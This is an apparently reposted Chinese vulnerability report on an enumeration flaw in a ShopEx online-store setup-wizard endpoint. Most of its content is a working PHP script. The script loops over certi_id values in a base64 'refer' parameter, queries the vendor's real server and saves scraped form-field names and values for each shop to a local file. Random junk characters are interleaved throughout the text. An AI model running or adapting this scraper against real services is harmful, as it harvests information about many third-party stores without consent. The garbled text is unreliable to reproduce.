|
|
简要描述:
0 {4 C+ J& U- m: \* p* dShopEx某接口缺陷,可遍历所有网站
! }" X0 n0 C7 R( X7 z7 H, r$ F详细说明:
3 D& Q5 f% ]" Y$ B T问题出现在shopex 网店使用向导页面 , m2 l! _7 O. N7 o ?/ \, H
1 P6 D- Y: `% F4 W' i, y
7 {) N' h4 A% e7 r& n* y- z4 k- S
: h$ V, N. Z7 ~( g( D' h- Fhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
J; R3 F/ [& L7 z8 Y
0 \( ?" ~8 f! ~6 F' [4 ^
- _$ P$ `7 m! @7 A
! S9 G9 D' g" n" m; mrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}& M5 Q D, r C7 c
1 `" a. a1 |1 Y* u3 A$ Q- a
! k' ~1 h) x, l- S2 P7 J& i2 ~: U# d2 H3 s
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 * P# P! U4 |' ?9 M
" }' v2 l: H4 {% }8 u$ g* l
* A; x- i* |- e& q, B# B7 R4 K; r5 P4 _ B! M2 r. X4 f
<?php# b1 z: v9 ?; H; V: e
* d! I" o: l# Z0 W2 G
for ($i=1; $i < 10000; $i++) { //遍历2 i6 @. j# [* F: G3 p
9 `4 x8 U l, }4 r& {6 P4 G4 ` ShowshopExD($i);
+ m- o+ ?( ^. G6 x$ x4 E7 e U9 O3 H8 Y0 T0 w3 V% v2 V
}
9 q) W! j$ O) s0 S' I7 b6 a8 |* s8 w$ ]( n& _
function ShowshopExD($cid) {# L" ?/ f1 Y4 Q4 r
9 b+ ~4 S9 n4 P" W4 \+ F
$url='http://guide.ecos.shopex.cn/step2.php';; Q: X2 Y9 Z; W- b0 G" m
+ d2 ^* B6 b6 N$ x/ W4 m( U" f $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');- J8 U/ ?& t& b! l
" ~, ]5 M2 E# o8 n4 L; I5 [
$url = $url.'?refer='.$refer;
3 S: ?) O/ R* f! {; R4 y
5 X8 r Z/ G; T f+ V $ch = curl_init($url);3 x" \; k$ `, H+ _$ }: I
; p. e4 K1 [3 D$ r( o. _: s& M: q curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
0 H7 ] K5 V) z/ \9 J t7 c
, y$ |0 v7 G: }+ U/ C curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;7 P9 D+ r1 k8 R$ o0 C* P* _
1 ` ]9 n H% a3 Q" V8 q $result = curl_exec($ch);/ m; W% }/ J) U4 N- J& C/ ?
9 c" f3 H$ _3 j( F V; B" Y
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
4 x5 }0 x( e: k5 e, s4 S+ ?& j- f: J/ e) h( t
if(strpos($result,$refer))
+ O- K; ^0 n% ?0 Q0 }' \& d; E2 c6 Q9 z3 m2 @( U5 R
{( D: ?' M2 w/ x
3 A# w4 O) H/ L8 {4 j8 P $fp = fopen("c:/shopEx.txt",'ab'); //保存文件5 J9 Y- A( t' ?7 x0 I. d+ I; i
% Z. d. Y" ^$ A$ c/ p( E4 z
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
g1 v3 Z/ L7 K0 t! X( {3 b8 L* R3 d; _7 v ?9 H* K) G/ j
foreach ($value[1] as $key) {
3 z* T+ m) s9 Y! q2 p& |- H, A3 j+ ]3 u$ J! K* ]+ q2 q
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
! l3 M6 t. v) ]5 ?* t7 N8 U
8 u- k! t+ Y- D7 h. E! D echo $res[1][0].':'.$res[3][0]."\r\n";
1 [: a Q/ s0 ` G3 ^5 H" F) \; m+ L& |4 k
$col =$res[1][0].':'.$res[3][0]."\r\n";
; h% d& C4 t1 D5 r( P# f; V% s9 E1 Z# ?# F3 A! Q. | Z
fwrite($fp, $col, strlen($col)); ' p) w' n1 }3 C. w! g% B, B
5 e. T& G8 j: Z p1 K& @ }
: `7 y' E z; u+ U9 i
) u1 {/ s' z& q Y$ s echo '--------------------------------'."\r\n";
) ]/ L6 F6 X& u' [; x) W2 k* U9 C$ ?# g1 v7 b% m( D) L) J+ `5 r
fclose($fp);
6 h6 r; `& `. n# G/ B4 K' I3 f' P3 _+ P0 v/ _
}+ v; ?5 ]# I, c: O; N$ d
' ~& U1 c8 h0 W# e0 Y8 a
flush();3 f$ M: b+ K9 R$ L# `) \0 z
$ v; U! a. c( z+ M. f7 l% R% B curl_close($ch);4 `5 z! C p& w8 B1 P
3 e5 B z' J) ^; L+ L& M! i }
) S5 j, {$ r9 V9 ?6 G
: {; h+ k% k z/ \?>
- L$ C: a6 b. R V! Q漏洞证明:* I( @6 p2 A/ q/ X6 c" M- K
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
2 X( q& R! V! \; o; C! grefer换成其他加密方式$ q& W( r9 {) |2 R5 C
|
|